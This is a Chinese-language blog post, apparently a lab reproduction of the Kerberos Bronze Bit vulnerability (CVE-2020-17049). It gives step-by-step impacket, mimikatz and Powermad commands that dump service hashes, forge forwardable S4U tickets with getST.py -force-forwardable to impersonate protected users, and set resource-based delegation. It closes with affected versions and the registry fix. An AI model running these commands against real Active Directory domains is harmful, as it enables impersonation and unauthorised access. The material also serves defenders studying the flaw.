前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-17049 Kerberos Bronze Bit 攻击复现

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

作者头像
鸿鹄实验室
发布2021-04-01 16:21:26
7570
发布2021-04-01 16:21:26
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

首先简单说明一下这个漏洞的作用,直接扳原文:

代码语言:javascript
复制
An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as “sensitive and cannot be delegated.”
An attacker can launch the attack from a service which is not allowed to perform the authentication protocol transition. This means that if the service is configured without the “TrustedToAuthForDelegation” property (shown as “Trust this user for delegation to specified services only – Use Kerberos only” in the AD GUI), the attacker can use the exploit to obtain tickets as if the “TrustedToAuthForDelegation” property were set (shown as “Trust this user for delegation to specified services only – Use any authentication protocol” in the AD GUI).

大体意思就是这个漏洞可以让攻击者去攻击“受保护组“、或设置了“敏感用户,禁止委派”的用户。或者去攻击设置了“仅信任该计算机来委派指定的服务-->仅使用kerberos”的机器。

大体的攻击思路如下:

1、攻击者已经获取了域内的某台机器的权限。

2、拥有域内服务的hash,称为service1。hash可以通过 DC Sync attacks, Kerberoasting,甚至是用Powermad来注册spn的方式来获得。

3、service1对域内的其他服务拥有约束委派关系。其配置可能如下(1)service2在service1的AllowedToDelegateTo列表当中。(2)service1在service2的PrincipalsAllowedToDelegateToAccount列表当中,且攻击者对service2有GenericAll, GenericWrite, WriteOwner, etc权限。

4、攻击者利用该漏洞去获取到service2的kerberos票据

5、攻击者利用票据去攻击service2

漏洞原理:

在之前的利用方法中,假如我们已经拥有了一个service1的hash,想要去获取service2的权限时,便可以使用getST.py程序执行S4U交换,来获取目标的TGT,如果其配置了"TrustedToAuthForDelegation",且用户未受保护的话,其流程如下:

但如果其设置了仅kerberos或者受保护的组的话,则不会成功。

而漏洞作者为工具增加了-force-forwardable 参数,使其成为了可能。

这个gif很直观的显示了该过程:https://blog.netspi.com/wp-content/uploads/2020/10/bit_flip_animation_cropped.gif

漏洞复现

网络拓扑环境如下:

Example Attack1:

环境配置如下:

server1设置如下:

user2设置:

开始攻击:

首先访问server2,确认无法直接连接到server。

然后我们需要获取server1的机器账户的AES256-CTS-HMAC-SHA1-96 和 LM:NTLM hash ,在作者的复现过程中使用的是secretsdump.py来操作的,也就是下面这样:

代码语言:javascript
复制
python .\impacket\examples\secretsdump.py 'test/user1:<user1_password>@Service1.test.local'

但笔者在测试过程中,发现并不可以这样操作。也有可能是我操作有问题..于是我换成了mimikatz的ekeys来操作:

或者为了复现方便,提升到高权限操作:

代码语言:javascript
复制
.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1

发现,并不能获取user2的TGT,而加上参数之后,则可以成功获取

代码语言:javascript
复制
.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable

然后我们注入该票据:

不过我们这里的是host的票据,我们一般需要的是cifs,按照刚才的步骤再走一遍就ok了。

此时便拥有了对目标的访问权限。

Example Attack2:

环境配置如下:

开始攻击:

代码语言:javascript
复制
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

然后:

代码语言:javascript
复制
"kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

然后

代码语言:javascript
复制
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService

然后:

代码语言:javascript
复制
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

然后获取TGT

然后注入票据即可.

写在后面

由于时间问题,并未对原理进行研究,只是简单进行了复现,有兴趣者可自行抓包分析。

漏洞影响版本

  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016
  • Windows Server 2019
  • Windows Server, version 1903
  • Windows Server, version 1909
  • Windows Server, version 2004
  • Windows Server, version 20H2

修复方案:

将 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc的PerformTicketSignature 设置为1

参考文章:

https://www.zdnet.com/article/windows-10-update-problem-were-fixing-kerberos-authentication-bug-says-microsoft/

https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/

https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-overview/

https://github.com/SecureAuthCorp/impacket/pull/1013

https://dirteam.com/sander/2020/11/11/kerberos-security-feature-bypass-vulnerability-important-cve-2020-17049-cvssv3-6-6/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档